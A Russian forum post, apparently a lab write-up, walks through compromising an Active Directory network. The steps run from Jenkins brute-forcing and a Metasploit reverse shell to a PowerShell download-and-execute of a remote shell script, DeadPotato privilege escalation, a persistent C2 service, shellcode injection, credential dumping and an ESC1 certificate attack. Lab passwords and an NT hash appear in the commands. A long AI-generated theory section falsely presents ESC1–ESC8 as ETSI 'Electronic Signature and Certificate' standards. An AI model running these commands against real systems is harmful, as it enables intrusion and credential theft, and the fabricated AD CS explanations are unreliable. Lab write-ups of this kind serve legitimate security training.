LIMB
Вход Регистрация

тема

Active Directory для чайников часть 10 (Центр сертификации)

sup · · 11 ответов · 871 просмотров

Спойлер
Лабораторную я буду использовать от codeby.net


Переходим сразу к делу. У меня не так много времени осталось до сдачи экзамен по АД. Поэтому многие моменты буду упускать о которых я говорил в предыдущих статьях. 
Просканили сетку, нашли веб приложение

Не удалось прогрузить медиа


Запускаем сканнер nuclei, посмотрим найдет ли он какую нибудь уязвимость или хотя бы версию приложения Jenkins. 

Jenkins предназначен для [B]создания и тестирования разработки продукта[/B], что всегда делает его более простым для инженеров, чтобы включить изменения в проект. Кроме того, это позволяет вам непремедать передать свой продукт, координируя с бесчисленными тестирования и организационных инноваций.

Не удалось прогрузить медиа


Получаем немало полезной информации

DomainName: DOM21.LOCAL
OSVersion: 10.0.17763","
NetBIOSComputerName: APPSERVER","
NetBIOSDomainName: DOM21","
DNSComputerNamen: APPSERVER.DOM21.LOCAL","
DNSComputerName: APPSERVER.DOM21.LOCAL","
ForestName: DOM21.LOCAL
Windows Server 2019, Version 1809
http://10.121.0.20:8080/whoAmI/ ["2.462.2"]

Не удалось прогрузить медиа


nuclei - это автоматический сканнер, он просканил веб приложение, пофаззил директории, опредилил версию (спарсил из кода странички), просканил порт 445 и оттуда извлек много полезной инфы касаемо домена и OS. 


Не удалось прогрузить медиа


Пытался найти CVE под данную версию нихрена не нашел толкового.

Не удалось прогрузить медиа


Значит будем брутить форму авторизации.

https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http у метасплоита есть много модулей для скана веб, под jenkins тоже есть.

Брутим форму авторизации через metasploit

Не удалось прогрузить медиа


Code:
msfconsole use auxiliary/scanner/http/jenkins_login 
set RHOST 10.121.0.20 
set PASS_FILE /home/kali/word.txt 
set USERNAME admin 
set TARGETURI /

Получаем сессию через metasploit

Не удалось прогрузить медиа


msfconsole
use exploit/multi/http/jenkins_script_console
show targets - выбираем windows если выбран linux
set payload windows/x64/meterpreter/reverse_tcp - поскольку jenkins на windows сервере, то выбираем payload для винды.
set RPORT 8080
set RHOSTS 10.121.0.20 (айпи jenkins)
set targeturi /
set username admin
set password Qwerty11!
set LHOST 10.0.0.22 (наш айпи)
run

Грузим агента C2 и получаем сессию
upload /home/kali/Documents/tools/123.exe

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа




Повышаем привилегии до уровня системы

DeadPotato — это утилита повышения привилегий Windows из семейства эксплойтов Potato, использующая право SeImpersonate для получения привилегий SYSTEM.

Не удалось прогрузить медиа



Не удалось прогрузить медиа


Просто опция -shell не отдала нам нормальную сессию из-за этого мы не смогли запустить c2, как и любой другой софт. Значит сделаем иначе.

Получаем нормальный интерактивный шелл

stty raw -echo; (stty size; cat) | nc -lvnp 4422 - настраиваем лисенер на линуX
Code:
powershell iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1')); Invoke-ConPtyShell ip 4422

Создаем службу, которая запустит наш C2
.\DeadPotato-NET4.exe -cmd "sc create UpdateServicets19 binPath= "c:\windows\tasks\123.exe" start= auto"

где 123.exe - это наш c2 агент
UpdateServicets19 - наш сервис
.\DeadPotato-NET4.exe -cmd "sc start UpdateServicets19"
Не удалось прогрузить медиа


Не удалось прогрузить медиа


Получена сессия Системы)


Далее спустя 10-15 секунд она перестала работать. Думал это проблема на стороне сервера и нужно закрепляться. Оказалось достаточно было запустить еще раз c2 агент из под системы которая доступна 10-15 секунд

Не удалось прогрузить медиа


Теперь все работает-))) А что делать дальше я расскажу в следующей части. Я решил делить райтапы на несколько частей так проще вам будет воспринимать информацию.
👍59 🔥8 😁14 😮11 💯6
Продолжаем работу. Закинем прям на тачку лазанью, посмотрим найдет ли она  какие нибудь креденшены)

Не удалось прогрузить медиа


Раз уж мы система просто сдампим креды

Не удалось прогрузить медиа


Не удалось прогрузить медиа


у veremenko есть тикет на другую тачку.

Посмотрим что запущено у veremenko

Не удалось прогрузить медиа


Раз уж мы система. Просто заинжектимся в процесс explorer.exe и получим сессию от имени пользователя veremenko
shellcode inject x64 5888 /home/kali/Documents/tools/s.bin

s.bin - сгенерировали в Havoc.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Secret  : _SC_Jenkins / service 'Jenkins' with username : dom21\jenkins

cur/text: J3nk1ns_secret

Не удалось прогрузить медиа


Не удалось прогрузить медиа



Собираем базу для bloodhound


Не удалось прогрузить медиа




Не будем затягивать) Упущу моменты с рубеус, т.к он банально у меня не работает. Чтобы продолжить решать данную лабу нам нужны знания по уязвимостям ADCS. Поэтому сперва изучим.
👍1
Спойлер: Ебаная теория которую высрал GPT по моим вопросикам
Службы сертификатов Active Directory (AD CS) — это роль Windows Server для выдачи сертификатов инфраструктуры открытых ключей (PKI), используемых в протоколах безопасной связи и проверки подлинности.



Вот тут подробно про все расписано: https://learn.microsoft.com/ru-ru/windows-server/identity/ad-cs/active-directory-certificate-services-overview но мы не будем терять много времени на теорию и сыро ознакомимся.

AD CS (Active Directory Certificate Services) — это компонент в Windows Server, который позволяет организациям создавать и управлять своими собственными центрами сертификации (CA, Certificate Authority). Он используется для выдачи, управления и проверки цифровых сертификатов внутри корпоративной сети.



Зачем нужен AD CS:​
Аутентификация: Проверяет подлинность пользователей, устройств или сервисов.
Шифрование: Защищает данные, например, при использовании VPN или Wi-Fi.
Цифровая подпись: Подтверждает целостность и подлинность данных (например, документов или кода).
Как работает AD CS:​
Создает сертификаты: Для пользователей, серверов, устройств.
Управляет сертификатами: Отслеживает срок действия, отзывает сертификаты (если утерян ключ или произошел компромет).
Работает в инфраструктуре PKI: Интегрируется с Active Directory для автоматического выпуска сертификатов.
Примеры использования AD CS:​
VPN: Сертификаты для безопасного подключения.
Wi-Fi: Аутентификация устройств.
HTTPS: Сертификаты для шифрования веб-сайтов внутри компании.
SMIME: Защищенная электронная почта.
Коротко: AD CS — это инструмент для создания и управления сертификатами внутри организации, который делает корпоративную сеть более безопасной.



Как Kerberos работает без AD CS:​
Kerberos без сертификатов:
Kerberos использует симметричное шифрование и обмен ключами для аутентификации.
В инфраструктуре Active Directory, Kerberos не требует сертификатов, так как работает на основе секретных ключей, хранимых в службах домена (KDC - Key Distribution Center).
Основные механизмы Kerberos:
Ticket-Granting Ticket (TGT): Получение общего доступа на основе доверия.
Service Ticket: Предоставляет доступ к конкретным службам.


Когда AD CS не нужен:
В стандартной среде Active Directory сертификаты не обязательны для работы Kerberos.
Аутентификация пользователей и устройств происходит на основе паролей и ключей шифрования.

Когда AD CS может понадобиться с Kerberos:​
Smart Card Logon (аутентификация с помощью смарт-карт):
Смарт-карты требуют сертификатов для аутентификации.
Для реализации этого требуется инфраструктура PKI (например, AD CS).

Kerberos PKINIT (Public Key Cryptography for Initial Authentication):
Расширение Kerberos для использования сертификатов в процессе начальной аутентификации.
Это нужно, если вместо пароля вы хотите использовать публичные/приватные ключи (например, при использовании смарт-карт).

Безопасность на уровне сервиса:
Если требуется шифрование трафика на уровне TLS (например, для LDAP over SSL/TLS), то сертификаты от AD CS становятся необходимыми.

Вывод:​
Kerberos может работать без AD CS, полагаясь на внутренние механизмы аутентификации Active Directory.
AD CS нужен, если требуется использование сертификатов для дополнительных функций, таких как смарт-карты, PKINIT или шифрование трафика через TLS.






римеры внутреннего (Internal) и внешнего (External) центров сертификации (Certificate Authorities, CA):



1. Внутренний центр сертификации (Internal Certificate Authority):​Это центр сертификации, развернутый внутри организации, например, с использованием AD CS.



Пример:​
Microsoft Active Directory Certificate Services (AD CS):
Развертывается внутри корпоративной сети.
Используется для выпуска сертификатов для внутренних нужд, таких как:
Аутентификация пользователей и устройств.
VPN.
Wi-Fi (802.1x).
Электронные подписи (S/MIME).
Сертификаты для внутренних HTTPS-сайтов.



Особенности:​
Удобен для использования в закрытых корпоративных сетях.
Сертификаты не признаны "доверенными" вне организации (например, в Интернете).
Стоимость низкая, так как лицензия на сервер часто уже покрыта корпоративным соглашением.

2. Внешний центр сертификации (External Certificate Authority):​Это сторонний (публичный) CA, который предоставляет сертификаты, признанные "доверенными" всеми основными браузерами, операционными системами и устройствами.



Пример:​
Let's Encrypt:
Бесплатный центр сертификации.
Выдает SSL/TLS-сертификаты для шифрования веб-сайтов (HTTPS).
Сертификаты признаются всеми основными браузерами.

DigiCert, GlobalSign, Sectigo:
Коммерческие центры сертификации.
Предоставляют сертификаты для веб-сайтов, шифрования электронной почты, аутентификации пользователей и других целей.
Часто используются для критически важных внешних веб-сайтов, корпоративных API и сервисов.


Особенности:​
Сертификаты признаются "доверенными" везде, где используется общедоступная инфраструктура (Интернет).
Стоимость может варьироваться: от бесплатных сертификатов (Let's Encrypt) до премиум-сертификатов с расширенной проверкой (EV SSL).





AD CS нужен, чтобы компания могла сама создавать сертификаты и управлять безопасностью своей IT-инфраструктуры без необходимости обращаться к внешним организациям. Это экономит деньги и повышает контроль.



EKU (Enhanced Key Usage) — это расширение сертификата X.509, которое определяет, для чего может быть использован данный сертификат. EKU указывает конкретные цели использования ключа, например, для шифрования, аутентификации, подписания кода или защиты веб-сайтов через HTTPS.



CSR (Certificate Signing Request) — это запрос на выдачу цифрового сертификата. CSR отправляется в Центр сертификации (CA, Certificate Authority), чтобы получить сертификат. Этот запрос содержит информацию о заявителе (например, домене, компании или пользователе) и публичный ключ, который будет включен в сертификат.

  Сервер (генерация CSR)

  [Публичный ключ + Информация о субъекте]

  [Приватный ключ создается и остается на сервере]

          |

          v

  =======================================

  | CSR формируется:                    |

  | - Публичный ключ                    |

  | - Информация (домен, компания)      |

  | - Подпись CSR (с помощью приватного |

  |   ключа, чтобы доказать владение)   |

  =======================================

          |

          v

  ========================

  | Отправка CSR в CA    |

  ========================

          |

          v

Центр Сертификации (CA)

  [Проверка информации: ]

  [ - Доменное имя       ]

  [ - Легитимность заявки]

          |

          v

  ========================

  | Выдача сертификата: |

  | - Подписанный CA     |

  | - Содержит публичный |

  |   ключ и данные      |

  ========================

          |

          v

Сервер получает сертификат

  [Сертификат (с публичным ключом)       ]

  [ хранится на сервере вместе с приватным]

  [ ключом (для использования в HTTPS и др.) ]




		
	

CSR можно классифицировать по:




Назначению сертификата (SSL/TLS, S/MIME, подпись кода).
Формату (PEM, DER).
Содержимому (SAN, Wildcard).
Методу генерации (локальный, через браузер).
Типу ключей (RSA, ECDSA).




		
	




		
	

		
	




		
	




		
	

.pfx (Personal Information Exchange) — это формат файла, который используется для хранения сертификатов и связанных с ними ключей, включая:




Приватный ключ: Секретный ключ, который используется для подписи данных и расшифровки информации, зашифрованной публичным ключом.
Публичный ключ: Часть сертификата, которая используется для шифрования данных или проверки цифровой подписи.
Цепочка сертификатов: Включает корневой сертификат и промежуточные сертификаты, необходимые для проверки подлинности.
Этот формат часто используется для резервного копирования и перемещения сертификатов между устройствами или серверами.



Основные характеристики .pfx:​
Полное название формата:
PFX (Personal Information Exchange) или PKCS#12.
PKCS#12 — это стандарт, разработанный RSA Security для безопасного хранения и передачи сертификатов и ключей.

Шифрование и защита:
Файлы .pfx защищены паролем, чтобы предотвратить несанкционированный доступ к приватным ключам.

Расширение файлов:
.pfx или .p12 (оба взаимозаменяемы).






Подпись CSR (Certificate Signing Request) — это процесс подтверждения подлинности запроса на сертификат, который отправляется в Центр сертификации (CA). При создании CSR, запрос подписывается приватным ключом, чтобы удостоверить, что запрос исходит от владельца этого ключа.



Зачем нужна подпись CSR?​
Подтверждение владения приватным ключом:
Подпись CSR гарантирует, что заявитель действительно владеет приватным ключом, соответствующим публичному ключу, включенному в запрос.
Это важно, чтобы злоумышленник не мог подделать запрос на сертификат.

Обеспечение целостности данных:
Подпись защищает данные внутри CSR от изменений. Если кто-то попытается изменить содержимое CSR, подпись станет недействительной.

Шаг аутентификации:
CA проверяет подпись CSR перед выдачей сертификата, удостоверяясь, что запрос подлинный.


Как работает подпись CSR:​
Создание ключей:
Заявитель генерирует пару ключей:
Приватный ключ: Остается у заявителя и используется для подписи CSR.
Публичный ключ: Включается в CSR.


Составление CSR:
В CSR включаются:
Информация о субъекте (доменное имя, компания, страна).
Публичный ключ.


Подпись CSR:
CSR подписывается заявителем с использованием его приватного ключа.

Отправка в CA:
Подписанный CSR отправляется в Центр сертификации для проверки.

Проверка в CA:
CA использует публичный ключ из CSR, чтобы проверить цифровую подпись.
Если подпись верна, CA выдает сертификат.






роцесс работы CSR (Certificate Signing Request) и его подписи можно сравнить с использованием ключей в SSH (Secure Shell), так как оба механизма зависят от концепции асимметричного шифрования с использованием пары ключей: приватного и публичного. Вот основные параллели:



1. Генерация пары ключей​CSR:​
Генерируется пара ключей:
Приватный ключ: Остается у заявителя (на сервере или устройстве) и никогда не передается.
Публичный ключ: Включается в CSR, который отправляется в центр сертификации (CA).


SSH:​
При настройке SSH-ключей пользователь генерирует:
Приватный ключ: Хранится локально на устройстве пользователя.
Публичный ключ: Передается на сервер и добавляется в файл ~/.ssh/authorized_keys.


2. Использование приватного и публичного ключей​CSR:​
Приватный ключ: Используется для подписи CSR, чтобы доказать, что запрос исходит от владельца этого ключа.
Публичный ключ: Включается в запрос CSR и используется CA для проверки подписи.

SSH:​
Приватный ключ: Используется для аутентификации при подключении к серверу. Пользователь доказывает, что владеет соответствующим приватным ключом.
Публичный ключ: Хранится на сервере и используется для проверки подписи при входе.

3. Проверка и доверие​CSR:​
CA проверяет подпись, созданную приватным ключом, с помощью публичного ключа, включенного в CSR.
Если подпись верна, CA выдает сертификат, который подтверждает подлинность субъекта.

SSH:​
Сервер проверяет подпись, созданную приватным ключом клиента, с помощью публичного ключа, который уже находится на сервере в authorized_keys.

4. Конечная цель​CSR:​
Цель — получить сертификат от CA, который подтверждает подлинность субъекта и может использоваться для шифрования (например, HTTPS) и других целей.

SSH:​
Цель — установить защищенное соединение между клиентом и сервером, используя пару ключей для аутентификации и шифрования.



CSR — это запрос на сертификат, который подписывается приватным ключом для проверки подлинности.








ESC1-ESC8 — это обозначения восьми стандартов, входящих в спецификацию ETSI (European Telecommunications Standards Institute) для обеспечения доверенной инфраструктуры открытых ключей (PKI) и цифровых сертификатов.



Название ESC происходит от аббревиатуры "Electronic Signature and Certificate", что отражает их основное назначение: управление электронными подписями и сертификатами.



Почему такое название:​
E — Electronic (электронные):

Описывает, что стандарты относятся к цифровым (электронным) системам и процессам.
S — Signature (подпись):

Основная цель — управление процессами создания, проверки и использования цифровых подписей.
C — Certificate (сертификат):

Стандарты охватывают работу с цифровыми сертификатами, используемыми для обеспечения безопасности и доверия.
1-8 — Нумерация стандартов:

Цифры обозначают различные аспекты работы с электронными подписями и сертификатами, начиная от инфраструктуры PKI до проверки подписей.






		
	






		
	



Оба ключа можно хранить в различных форматах, в зависимости от требований инфраструктуры или приложений.

AD CS тесно связано с криптографией, так как оно управляет сертификатами, ключами и другими криптографическими данными. Это ключевой элемент в реализации PKI, которая обеспечивает безопасность и доверие в цифровых системах.



Основные элементы PKI:​
Центр сертификации (CA):
"Паспортный стол", который выдает и проверяет сертификаты.

Цифровые сертификаты:
Документ, который подтверждает подлинность субъекта (сайта, человека, устройства).

Ключи:
Приватный ключ: Хранится в секрете и используется для подписи или расшифровки.
Публичный ключ: Распространяется свободно и используется для проверки подписи или шифрования.

Зачем нужна PKI:​
Шифрование: Чтобы никто не смог перехватить ваши данные (например, при входе на сайт).
Аутентификация: Чтобы убедиться, что сайт или пользователь — это те, за кого себя выдают.
Цифровая подпись: Для проверки, что документ или сообщение не изменено.
Коротко:​PKI — это система, которая обеспечивает безопасность и доверие в интернете, используя сертификаты и ключи для шифрования, аутентификации и подписи. Это как цифровой паспортный стол, который помогает вам знать, с кем вы общаетесь, и защищает ваши данные.





Шаблоны сертификатов в Active Directory Certificate Services (AD CS) — это предварительно настроенные параметры, которые определяют, как должны выглядеть и работать выдаваемые сертификаты. Они используются для упрощения и стандартизации процесса выпуска сертификатов в корпоративной инфраструктуре.



Основные цели шаблонов в AD CS:​
Унификация сертификатов:
Шаблоны задают структуру и параметры сертификатов для разных целей, таких как:
Сертификаты для пользователей (логин с использованием смарт-карт).
Сертификаты для серверов (SSL/TLS).
Сертификаты для приложений (подпись кода).


Упрощение управления:
Шаблоны позволяют централизованно управлять политиками и параметрами сертификатов, что снижает вероятность ошибок.

Автоматизация:
Пользователи, устройства и службы могут автоматически запрашивать сертификаты на основе заданного шаблона через Active Directory.

Настройка безопасности:
Шаблоны позволяют задавать требования безопасности, такие как длина ключа, алгоритмы шифрования и условия для использования сертификата.

Что задается в шаблонах?​
Типы сертификатов:
Определяет, для кого или чего предназначен сертификат (пользователь, устройство, сервер).

Допустимые ключи:
Указывает, какие алгоритмы и параметры ключей использовать (например, RSA, ECDSA, длина ключа).

Enhanced Key Usage (EKU):
Определяет, для каких целей можно использовать сертификат (например, аутентификация сервера, подпись кода).

Срок действия сертификата:
Определяет, как долго сертификат остается действительным.

Автоматическая выдача:
Настраивает автоматическое получение сертификатов для пользователей или устройств без необходимости ручного вмешательства.

Доступ и права:
Определяет, кто может использовать данный шаблон (пользователи, группы, компьютеры).

Примеры использования шаблонов​
Пользовательские сертификаты:
Для аутентификации в корпоративной сети.
Шаблон: "User".

Серверные сертификаты:
Для защиты соединений (SSL/TLS).
Шаблон: "Web Server".

Смарт-карты:
Для входа в систему с использованием двухфакторной аутентификации.
Шаблон: "Smart Card Logon".

Подпись кода:
Для подписания приложений, чтобы они считались доверенными.
Шаблон: "Code Signing".

VPN и Wi-Fi:
Для аутентификации пользователей или устройств.
Шаблон: "Workstation Authentication" или "Computer".

Преимущества использования шаблонов AD CS​
Централизованное управление:
Настройки всех сертификатов управляются из единой точки.

Экономия времени:
Не нужно вручную настраивать параметры сертификатов для каждого нового запроса.

Соответствие стандартам безопасности:
Шаблоны обеспечивают соблюдение корпоративных или отраслевых требований к безопасности.

Гибкость:
Можно создать разные шаблоны для разных целей, например, сертификаты для внутренних и внешних пользователей.

Итог​Шаблоны в AD CS — это инструмент для стандартизации, автоматизации и управления процессом выдачи сертификатов. Они позволяют организациям легко и безопасно использовать сертификаты для различных задач, таких как аутентификация, шифрование и защита соединений.



AD CS — это комплексная система для работы с цифровыми сертификатами, включающая CA, хранилища, службы регистрации и отзыва, интеграцию с Active Directory, управление ключами и шаблонами. Все эти компоненты работают вместе, чтобы обеспечивать безопасность и доверие в корпоративной сети.





ертификат состоит из набора полей, которые содержат информацию о владельце, центре сертификации и других аспектах, необходимых для его использования в системе PKI (Public Key Infrastructure). Стандартным форматом является X.509.



Основные элементы сертификата​1. Информация о сертификате​Это базовые сведения, которые уникально идентифицируют сертификат:




Версия:
Указывает версию стандарта X.509 (например, X.509 v3 — наиболее популярный).

Серийный номер:
Уникальный идентификатор сертификата, назначаемый CA.

Алгоритм подписи:
Алгоритм, используемый для подписания сертификата (например, SHA256RSA).

2. Данные о владельце (Subject)​Информация о субъекте, которому выдан сертификат:




Common Name (CN):
Имя субъекта (например, домен example.com или имя пользователя).

Organization (O):
Название организации.

Organizational Unit (OU):
Подразделение организации.

Country (C):
Код страны (например, US или RU).

Subject Alternative Names (SAN):
Дополнительные имена субъекта (например, поддомены).

3. Данные о центре сертификации (Issuer)​Информация о CA, выдавшем сертификат:




Common Name (CN):
Имя центра сертификации.

Organization (O):
Название организации CA.

Country (C):
Код страны CA.

4. Публичный ключ (Public Key)​
Содержит публичный ключ субъекта, используемый для шифрования и проверки подписи.
Типы ключей:
RSA.
ECDSA.
Ed25519.

5. Срок действия (Validity Period)​Информация о времени действия сертификата:




Дата начала (Not Before):
С какого момента сертификат действителен.

Дата окончания (Not After):
До какого момента сертификат остается действительным.

6. Подпись сертификата​
Цифровая подпись, созданная приватным ключом CA.
Обеспечивает целостность и подлинность сертификата.
7. Расширения сертификата​Дополнительная информация, определяющая возможности и ограничения использования сертификата:




Enhanced Key Usage (EKU):
Указывает, для каких целей может использоваться сертификат (например, аутентификация сервера, подпись кода).

Key Usage:
Указывает операции с ключами (например, шифрование данных, цифровая подпись).

CRL Distribution Points:
Указывает, где можно получить список отозванных сертификатов.

Authority Information Access (AIA):
Указывает путь для проверки цепочки доверия (например, адрес OCSP или промежуточного сертификата).

Пример структуры X.509-сертификата​yaml

Копировать код

Certificate:

Version: 3

Serial Number: 1234567890

Signature Algorithm: sha256RSA

Issuer:

CN = Example CA

O = Example Organization

C = US

Validity:

Not Before: Jan 1 00:00:00 2025 GMT

Not After : Jan 1 00:00:00 2026 GMT

Subject:

CN = www.example.com

O = Example Organization

C = US

Subject Public Key Info:

Public Key Algorithm: RSA

RSA Public-Key: (2048 bit)

X509v3 extensions:

Key Usage: Digital Signature, Key Encipherment

Extended Key Usage: TLS Web Server Authentication

Subject Alternative Name:

DNS: www.example.com, DNS: example.com

Authority Information Access:

OCSP - URI:http://ocsp.example.com

CA Issuers - URI:http://ca.example.com/ca.crt

Signature:

Algorithm: sha256RSA

Signature: [hexadecimal data]




		
	



Итог:​Сертификат состоит из нескольких ключевых компонентов: информации о владельце и центре сертификации, публичного ключа, подписи, срока действия и дополнительных расширений. Все эти элементы работают вместе, чтобы обеспечить безопасность, доверие и аутентификацию в инфраструктуре PKI.



Промежуточных CA может быть несколько, и они часто настроены для выполнения разных задач, таких как работа с различными службами, сервисами, группами пользователей или протоколами. Это архитектурное решение значительно ограничивает последствия в случае компрометации одного из промежуточных CA. 



Основная задача ROOT CA - это подписывать серты для промежуточных CA. И обычно ROOT CA выключен, чтобы не быть подверженным компрометации.



Создание резервных копий сертификатов включает экспорт самих сертификатов, их закрытых ключей и связанных данных (CRL, конфигурации CA). Это позволяет обеспечить их восстановление в случае сбоя, утраты данных или компрометации. Храните резервные копии в защищённом месте, используя шифрование и ограничения доступа.



Для резервного копирования сертификатов и связанных данных используются различные форматы файлов и расширения. Какой именно формат используется, зависит от среды и инструментов, которые вы применяете для управления сертификатами.



Основные расширения для бэкапа сертификатов:​1. .PFX / .P12 (PKCS#12)​
Что хранится:
Сертификаты (включая цепочку доверия).
Приватный ключ (если экспортируется вместе с сертификатом).
Дополнительные атрибуты (например, пароль для защиты).

Особенности:
Используется для резервного копирования сертификатов с приватным ключом.
Шифруется и защищается паролем.

Применение:
Экспорт и импорт сертификатов в Windows Server, IIS, OpenSSL, и других платформах.

2. .CER / .CRT (X.509 Certificate)​
Что хранится:
Только сертификат (публичный ключ).
Без приватного ключа.

Особенности:
Формат PEM (текстовый, Base64) или DER (бинарный).
Используется для импорта/экспорта сертификатов без закрытого ключа.

Применение:
Хранение сертификатов для серверов (например, HTTPS).

3. .KEY​
Что хранится:
Приватный ключ.

Особенности:
Формат PEM (текстовый) или DER (бинарный).
Часто используется с .CRT для разделённого хранения ключей и сертификатов.

Применение:
Хранение приватного ключа для TLS/SSL и других сертификатов.

4. .PEM​
Что хранится:
Сертификаты (один или несколько, включая цепочку доверия).
Приватный ключ (если требуется).

Особенности:
Универсальный текстовый формат (Base64).
Может содержать как сертификаты, так и ключи.

Применение:
Используется в OpenSSL, Apache, Nginx.

5. .BAK​
Что хранится:
Резервная копия конфигурации CA (включая сертификаты, базу данных и закрытый ключ CA).

Особенности:
Генерируется при резервном копировании CA в AD CS.
Файлы часто сопровождаются инструкцией для восстановления.

Применение:
Используется для восстановления CA в Windows Server.

6. .PKI / .PKCS7 (.P7B / .P7C)​
Что хранится:
Сертификаты (включая цепочку доверия).
Без приватного ключа.

Особенности:
Формат PKCS#7, подходящий для передачи сертификатов.
Используется для создания доверенных хранилищ.

Применение:
Обмен сертификатами в Windows, Java.

7. Прочие форматы​
.JKS (Java KeyStore):
Приватные ключи и сертификаты в Java-ориентированном формате.

.HSM-зашифрованные файлы:
Для бэкапа ключей и сертификатов, хранимых в аппаратных модулях безопасности (HSM).

Что хранится в бэкапах?​
Сертификаты:
Корневой сертификат (Root CA).
Промежуточные сертификаты (Intermediate CA).
Конечные сертификаты (End-Entity Certificates).

Приватные ключи:
Используемые для подписи сертификатов или расшифровки данных.

Цепочки сертификатов:
Включают полный путь от конечного сертификата до Root CA.

Дополнительные данные:
Конфигурация CA.
Журналы транзакций.
CRL (Certificate Revocation List).
Файлы политики (CAPolicy.inf).

Резюме:​
Расширения зависят от содержания: .pfx для сертификатов с ключами, .crt или .cer для сертификатов без ключей, .bak для резервных копий CA.
Бэкап должен быть защищён паролем или шифрованием, особенно если включает приватные ключи.
Каждый сертификат в инфраструктуре PKI имеет свой уникальный закрытый ключ. Это основа безопасности асимметричной криптографии. Уникальность ключей гарантирует защиту, подлинность и целостность системы.



Каждый закрытый ключ в инфраструктуре PKI (Public Key Infrastructure) имеет своё предназначение в зависимости от уровня и роли субъекта. Закрытые ключи Root CA, промежуточных CA и пользователей выполняют разные задачи в экосистеме доверия. Давайте разберём их роли.



1. Закрытый ключ Root CA​Предназначение:​
Подпись сертификатов промежуточных CA:
Root CA подписывает сертификаты промежуточных CA, создавая основу доверия.
Корневой сертификат самоподписан (self-signed), что означает, что Root CA является начальной точкой доверия.

Роль в PKI:​
Root CA — это "верхний уровень доверия". Все субъекты, ниже в цепочке (промежуточные CA, пользователи), зависят от подлинности этого ключа.
Особенности:​
Закрытый ключ Root CA хранится максимально защищённо:
Часто используется только в оффлайн-режиме.
Хранится в HSM или в защищённой среде.

Используется редко:
Только для создания новых промежуточных CA или обновления CRL.

2. Закрытый ключ Промежуточного CA​Предназначение:​
Подпись конечных сертификатов:
Промежуточный CA выдаёт сертификаты пользователям, серверам, устройствам и сервисам.

Делегирование доверия:
Промежуточный CA продолжает цепочку доверия, создаваемую Root CA.

Роль в PKI:​
Промежуточный CA используется для разделения ответственности и снижения рисков:
Если скомпрометирован промежуточный CA, это затрагивает только сертификаты, подписанные им, но не всю инфраструктуру.

Особенности:​
Промежуточный CA обычно работает в онлайн-режиме, что делает его более подверженным атакам.
Часто используется для выпуска сертификатов по конкретным категориям (например, для пользователей или серверов).
3. Закрытый ключ Пользователя (или сервиса)​Предназначение:​
Подпись данных:
Пользователь или сервис может подписывать данные своим закрытым ключом (например, для электронной подписи).

Расшифровка данных:
Только закрытый ключ владельца может расшифровать данные, зашифрованные его публичным ключом.

Аутентификация:
Используется для доказательства подлинности субъекта (например, аутентификация пользователя или сервера).

Роль в PKI:​
Закрытый ключ пользователя — это "конечный уровень доверия". Он используется для повседневных операций, таких как шифрование, подпись или аутентификация.
Особенности:​
Закрытый ключ генерируется и хранится на стороне пользователя или устройства:
Смарт-карта.
Токен.
Программное хранилище.

Безопасность закрытого ключа лежит на пользователе или устройстве.






Тут более подробно расписано: https://posts.specterops.io/certified-pre-owned-d95910965cd2
Спойлер: Чо нужно спиздить
Эта первая мысль хакера. ШО нам вообще нужно. С помощью закрытого ключа вы можете создавать и подписывать новые сертификаты для ЛЮБОГО пользователя и использовать эти поддельные сертификаты для аутентификации в AD до тех пор, пока сертификат CA действителен (по умолчанию 5 лет, но часто дольше). Так что если вы украдете закрытый ключ, то по сути вы скомпрометируете весь домен.

Злоумышленник может скомпрометировать AD CS через:




Кражу закрытых ключей CA.
Эксплуатацию уязвимых шаблонов сертификатов.
Манипуляцию CRL/OCSP.
Использование веб-регистрации или автоматической выдачи сертификатов.

Как бы все +- понятно, но на деле нихуя))) слишком сложная схема. Далее мы разберем основные атаки на AD CS
👍4 🔥1
Давайте теперь разберемся с основными атаками на AD CS на практическом примере.

Сеть: 10.6.0.0/24
10.6.0.5 - certcomp.local - домен
10.6.0.5 - DC.CertComp.local - домейн контроллер
10.6.0.6 CS
10.6.0.7 CLIENT01

nxc ldap 10.6.0.5 -d certcomp.local -u i_krasnov -p Ired1993 -k --bloodhound --dns-server 10.6.0.5 -c All

Не удалось прогрузить медиа


certipy-ad find -u [email protected] -p 'Ired1993' -dc-ip DC.CertComp.local -k -ns 10.6.0.5 -bloodhound

Не удалось прогрузить медиа


https://github.com/ly4k/BloodHound дальше качаем измененную версию хаунда, которая поддерживает PKI. 

./BloodHound --no-sandbox

запускаем с опцией --no-sandbox, если у вас ошибка the default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron)

Грузим дату которую мы получили с помощью nxc и certipy-ad.

Не удалось прогрузить медиа


Видим что есть PKI) Нам это пригодится для анализа мисконфигов.

Не удалось прогрузить медиа


А вот включенные сертификаты.

Рассмотрим компрометацию домена с помощью шаблона ESC1

Не удалось прогрузить медиа


Помечаем скомпрометированного юзера как Owned (черепок будет)

Не удалось прогрузить медиа


Находим кратчайший путь. И тут мы понимаем что есть Enroll и клиентом TEMPL-ESC1 являются все пользователи домена, а у нас есть скомпрометированный пользователь. Enroll = можем указать произвольный SAN.

с помощью параметра Subject Alternative Name (SAN) в процессе запроса сертификата (например, при использовании утилиты OpenSSL или аналогичных инструментов), можно указать произвольные SAN для добавления в сертификат. SAN позволяет добавлять дополнительные доменные имена или IP-адреса, которые будут считаться действительными для сертификата, помимо основного имени (CN — Common Name).

certipy-ad req -u [email protected] -p 'Ired1993' -dc-ip 10.6.0.5 -ca CERTCOMP-CA -target CS.CertComp.local -template Templ-ESC1 -upn '[email protected]'


Не удалось прогрузить медиа


получили серт. Теперь получим TGT

certipy-ad auth -pfx domain_admin.pfx -dc-ip 10.6.0.5
Не удалось прогрузить медиа


Раз уж есть NT хэшим, мы можем войти на нужный сервис.

netexec smb 10.6.0.0/24 -u "domain_admin" -H "aad3b435b51404eeaad3b435b51404ee:8e29c610440ac7f7fed9227f647cb562" -d certcomp.local

Не удалось прогрузить медиа



ESC1 (Enterprise Subordinate CA 1) — это техника или сценарий, в котором шаблон сертификата настроен так, чтобы позволять указывать произвольные значения для Common Name (CN) или даже других полей (например, Subject Alternative Name, SAN).

